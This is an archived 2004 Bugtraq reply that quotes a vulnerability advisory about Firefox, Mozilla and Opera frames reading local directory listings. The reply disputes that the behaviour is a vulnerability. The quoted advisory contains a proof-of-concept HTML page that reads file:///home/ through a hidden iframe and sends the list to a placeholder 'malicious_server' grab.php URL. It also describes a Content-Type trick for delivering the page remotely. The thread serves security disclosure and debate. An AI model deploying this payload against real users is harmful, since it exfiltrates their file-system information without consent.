RE: Disclosure of file system information in Mozilla Firefox and Opera Browser:

From: Thor Larholm (thor_at_pivx.com)
Date: 12/06/04

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    Date: Mon, 6 Dec 2004 13:36:57 -0800
    To: <badpenguin@zone-h.org>, <bugtraq@securityfocus.com>
    
    

    This is not a vulnerability, it is expected behavior.

    Mozilla shares the same zone design as IE which means that a file from
    the local file zone can read any other file from the local file zone.
    You cannot use this approach to read a local file from another zone such
    as the Internet zone. From the Internet zone, you can also only read the
    content of files from the same zone, same protocol and same domain.

    I agree that Mozilla has implemented quite a lot of proprietary IE
    extensions which it should have not done, however reading the innerHTML
    of an element through document.all does not circumvent the traditional
    zone security checks already in place.

    If you can find a cross zone scripting vulnerability in Mozilla this
    becomes relevant, however in that case you would be better off jumping
    into a chrome:// document from which you can execute arbitrary commands.

    Regards

    Thor Larholm
    Senior Security Researcher
    PivX Solutions
    23 Corporate Plaza #280
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    thor@pivx.com
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    -----Original Message-----
    From: Giovanni Delvecchio [mailto:badpenguin79@hotmail.com]
    Sent: Wednesday, December 01, 2004 5:15 PM
    To: bugtraq@securityfocus.com
    Subject: Disclosure of file system information in Mozilla Firefox and
    Opera Browser:

    Title: Disclosure of file system information in Mozilla Firefox and
    Opera
    Browser

    Note:
    I don't know if it could be considered really a security problem, anyway

    i'll try to explain my ideas.
    Sorry for my bad english.

    Author: Giovanni Delvecchio

    Bug: Disclosure of file system information

    Applications affected:

    - Firefox 1.0
    - Mozilla 1.7
    - Opera 7.54 (*)

    ( maybe also previous versions )

    Tested versions:

    - Firefox 1.0 on Linux and Windows
    - Mozilla 1.7 on Windows
    - Opera 7.51,..7.54 on Linux

    Note:
    The content of this advisory could be applied also to other browsers, i
    have
    checked just Mozilla, Firefox,Opera and Microsoft Internet Explorer.
    Microsoft Internet Explorer seems not to be affected.

    Bug Description:
    ================
    A problem exist in some browsers where a frame can gain access to
    attributes
    of another frame or iframe.
    An application of this bug could be the possibility to disclose local
    directory structure.

    PoC:
    ===

    ------ begin code.htm -----

    <html>

    <body onLoad="

      list_files='';
      for(i=0;i<local_files.document.links.length;i++)
               {list_files+=local_files.document.links.item(i);}
      alert(list_files);
      //send list_files at malicious_server
      
    document.location.href='http://malicious_server/grab.php?list='+list_fil
    es;

                  ">

    <iframe name="local_files" src="file:///home/" height=0
    width=0></iframe>

    </body>

    </html>

    ------ end of code.htm -------

    Impact:
    ======
    A malicious server could obtain the content of /home/ directory ( or
    c:\Document and Setting\ for windows system ) and so know a set of
    usernames present on system target.
    Moreover, colud be possible know if a particolar program is installed on

    target system for a succesive attack.

    Anyway it cannot be exploited "directly" by a remote site, but only if
    the
    page is opened from a local path ( file://localpath/code.htm), since
    the
    iframe "local_files" belongs to a local domain.

    Note: with Internet Explorer code.htm doesn't work even in local.

    Possible Remote Exploitation:
    ========================

    Question:
    How could a malicious remote user exploit it ?

    Answer:
    After that the user "victim" has required
    http://maliciuos_server/code.htm,
    if malicious_server responds with a page containing an unknown
    Content-Type
    field ( for example text/html. ,note the dot) ,the browser will show a
    dialog window with some options (open, save, cancel). Choosing "Open" to

    view this page, it will be downloaded and opened in local ; javascript
    code
    will be executed in local context.
    Obviously, if user chooses to save and after open it the result is
    equal.

    (*) For Opera this method of remote exploitation requires that opera
    must
    be setted as Default Application in "handler for saved files" whether
    the
    user choose "Open" in the dialog window.

    Solution:
    ========
    No solution at the moment

    Vendor notice
    ==============
    24th November 2004: I have contacted mozilla by security@mozilla.org
    and Opera by its bug track page at https://bugs.opera.com/wizard/

    No response from both at the moment.

    Best regards,

    Giovanni Delvecchio

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